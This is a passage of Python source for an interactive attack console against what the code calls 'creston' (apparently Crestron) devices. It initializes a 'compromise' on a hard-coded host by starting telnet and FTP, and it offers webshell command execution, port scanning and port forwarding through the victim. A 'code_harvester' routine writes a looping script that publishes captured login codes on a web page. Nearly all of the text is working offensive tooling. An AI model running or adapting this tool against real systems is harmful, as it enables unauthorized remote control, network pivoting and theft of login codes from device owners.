        a = _sendCommand(creston_host, 'nc -w1 %s %s' % (ip_to_scan, port)) 

        if "nc: timed out" in a: 

            if verbosity: 

                __print("%s:%s is closed" % (ip_to_scan, port), 2) 

        elif a == "": 

            if verbosity: 

                __print("%s:%s is probably closed" % (ip_to_scan, port), 2) 

        else: 

            __print("%s:%s is open" % (ip_to_scan, port), 1) 

    __print("Port scan on '%s' done" % ip_to_scan) 

    return True 

 

 

def _Resolve(host, dns_name): 

    command = "ping -c 2 %s " % (dns_name) 

    output = _TelnetCommand(host=host, command=command) 

    ip_candidates = re.findall(r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b", output) 

    if ip_candidates: 

        output = set() 

        for x in ip_candidates: 

            output.add(x) 

        __print("DNS '%s' was resolved to '%s' by '%s'" % (dns_name, list(output), host), 

1) 

        return True 

    else: 

        __print("Could not resolve '%s' with '%s'" % (host, dns_name), 2) 

        return False 

 

 

def _setCodeHarvestingOn(host): 

    __print("Starting to upload file and save script", level=0) 

    bash_script = ["#!/bin/sh", 

                   "while true", 

                   "do", 

                   "  echo '<HTML><head><title>Code Service</title></head><body><h1>' > 

/home/http/code.html", 

                   "  grep RefreshLoginCode /mnt/loggy.log >> /home/http/code.html", 

                   "  echo '</h1></body></html>' >> /home/http/code.html", 

                   "  sleep 5", 

                   "done" 

                   ] 

 

    _sendCommand(host, "/mnt/wpsd/stopWPSD.sh") 

    _sendCommand(host, "rm /mnt/loggy.log") 

    time.sleep(5) 

    _sendCommand(host, "/mnt/scdecapp &> /mnt/loggy.log") 

    _sendCommand(host, "echo \"\" > /mnt/documenter.sh") 

    for line in bash_script: 

        _sendCommand(host, "echo \"%s\" >> /mnt/documenter.sh" % line) 

    _sendCommand(host, "sh /mnt/documenter.sh &") 

    return 

 

 

def _initializeCompromise(host): 

    _startTelnet(host) 

    _startFTP(host) 

    return 

 

 

def main(): 

    MY_HOST = "10.120.198.145" 

    __print("Welcome. I will initialize compromise now on %s" % MY_HOST, 0) 

    _initializeCompromise(MY_HOST) 

    __print("Host %s is ready for your commands" % MY_HOST, 1) 

    """ 

    Available stuff: 

    --------------- 

        _FTPUpload(MY_HOST, 'portforward') 

        _ChangeBanner(MY_HOST, "Hello World!") 
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        _PortScan(MY_HOST, '192.168.1.1', verbosity=False) 

        _setCodeHarvestingOn(MY_HOST) 

        _sendCommand(MY_HOST, 'echo `ping -c 1 contoso.local` > /tmp/ipresolution') 

        _SetupForwarding(to_host=('192.168.1.1', 443), from_host=(MY_HOST, 9999)) 

    """ 

 

 

def StartTerminal(): 

    variables = {} 

    print(BANNER) 

    while True: 

        date_time = time.strftime("%d/%m/%Y-%H:%M:%S") 

        SHABANG = "\033[94m%s #>\033[0m " % date_time 

        try: 

            req = raw_input(SHABANG) 

        except KeyboardInterrupt: 

            print("") 

            __print("Geeez, don't be an ass. Use 'exit' or 'quit' next time ..", 0) 

            sys.exit(0) 

 

        if req.strip() in ['quit', 'exit']: 

            __print("Goodbye..", 0) 

            print("") 

            sys.exit(0) 

 

        elif req.strip() == 'telnet': 

            try: 

                host = variables['host'] 

            except: 

                try: 

                    host = variables['HOST'] 

                except: 

                    __print("You must specify a 'HOST' variable with the 'set' command", 2) 

                    continue 

            _startTelnet(host) 

            continue 

 

        elif req.strip() == 'webshell': 

            try: 

                host = variables['host'] 

            except: 

                try: 

                    host = variables['HOST'] 

                except: 

                    __print("You must specify a 'HOST' variable with the 'set' command", 2) 

                    continue 

            while True: 

                date_time = time.strftime("%d/%m/%Y-%H:%M:%S") 

                shaby = "#> " 

                try: 

                    req = raw_input(shaby) 

                except KeyboardInterrupt: 

                    __print("Breaking from webshell", 0) 

                    break 

                cmd = req.strip() 

                if cmd == 'quit' or cmd == 'exit': 

                    print("\tExiting from shell") 

                    break 

                else: 

                    cmd_output = _sendCommand(host, cmd) 

                    output = cmd_output.split("\n") 

                    for line in output: 

                        print("\t%s" % line) 

                    continue 

 

        elif req.strip() == 'run': 

            try: 

                host = variables['host'] 

            except: 

                try: 

                    host = variables['HOST'] 

                except: 

                    __print("You must specify a 'HOST' variable with the 'set' command", 2) 

                    continue 
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            try: 

                command = variables['command'] 

            except: 

                try: 

                    command = variables['COMMAND'] 

                except: 

                    __print("You must specify a 'command' variable with the 'set' command", 2) 

                    continue 

            __print("\n%s\n" % _sendCommand(host, command), 1) 

            continue 

 

        elif req.startswith("forward "): 

            try: 

                host = variables['host'] 

            except: 

                try: 

                    host = variables['HOST'] 

                except: 

                    __print("You must specify a 'HOST' variable with the 'set' command", 2) 

                    continue 

            no_cmd = req.strip()[len("forward "):] 

            try: 

                from_port, to_host, to_port = no_cmd.split(" ") 

                int(from_port) 

                int(to_port) 

            except: 

                if req.strip() == "forward killall": 

                    _sendCommand(host, 'pkill portforward') 

                    __print("Killed all forwarders", 1) 

                else: 

                    __print("Please use like; 'forward 2225 10.0.0.138 80'", 2) 

                continue 

 

            _SetupForwarding(to_host=(to_host, to_port), from_host=(host, from_port)) 

            continue 

 

        elif req.strip() == "code_harvester": 

            try: 

                host = variables['host'] 

            except: 

                try: 

                    host = variables['HOST'] 

                except: 

                    __print("You must specify a 'HOST' variable with the 'set' command", 2) 

                    continue 

            _setCodeHarvestingOn(host) 

            continue 

 

        elif req.startswith("run "): 

            try: 

                host = variables['host'] 

            except: 

                try: 

                    host = variables['HOST'] 

                except: 

                    __print("You must specify a 'HOST' variable with the 'set' command", 2) 

                    continue 

            __print("\n%s\n" % _sendCommand(host, req[4:].strip()), 1) 

            continue 

 

        elif req.startswith("telnet_run "): 

            try: 

                host = variables['host'] 

            except: 

                try: 

                    host = variables['HOST'] 

                except: 

                    __print("You must specify a 'HOST' variable with the 'set' command", 2) 

                    continue 

            __print("\n%s\n" % _TelnetCommand(host, req[len('telnet_run '):].strip()), 1) 

            continue 

 

        elif req.strip() == 'ftp': 

            try: 
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                host = variables['host'] 

            except: 

                try: 

                    host = variables['HOST'] 

                except: 

                    __print("You must specify a 'HOST' variable with the 'set' command", 2) 

                    continue 

            _startFTP(host) 

            continue 

 

        elif req.strip() == "": 

            # Command is empty 

            continue 

 

        elif req.strip().startswith("set "): 

            try: 

                a = req.replace("set ", "") 

                var_name = a[:a.find(" ")] 

                var_value = a[a.find(" ") + 1:] 

                variables[var_name] = var_value 

                __print("%s --> %s" % (var_name, var_value), 1) 

                continue 

            except: 

                __print("Use 'set' like 'set HOST 192.168.1.1'", 2) 

                continue 

 

        elif req.strip() == "show": 

            for key, val in variables.items(): 

                __print("'\033[1m%s\033[0m' --> '%s'" % (key, val), 0) 

            continue 

 

        elif req.strip() == 'help': 

            print("Use one of the following:") 

            print("\tset key value - to set variables.") 

            print("\ttelnet - will attempt to exploit and start telnet service.") 

            print("\ttelnet_run - will run a command via telnet.") 

            print("\trun - will run a command via webshell.") 

            print("\tforward - setup port forwarding like 'forward lport rhost rport'.") 

            print("\tforward killall - kills all portforwarding.") 

            print("\twebshell - will drop you into a command prompt via webshell.") 

            print("\tcode_harvester - setup http://ip/code.html which will show login codes.") 

            print("\tftp - will attempt to start FTP service AFTER telnet had been activated.") 

            print("\tshow - show all variables.") 

            print("\thelp - shows this help menu.") 

            print("\texit, quit - exit this script.") 

            continue 

 

        else: 

            __print("Command '%s' is unknown to me" % req.strip(), 2) 

            continue 

 

 

if __name__ == "__main__": 

    StartTerminal() 

 

 

 

 


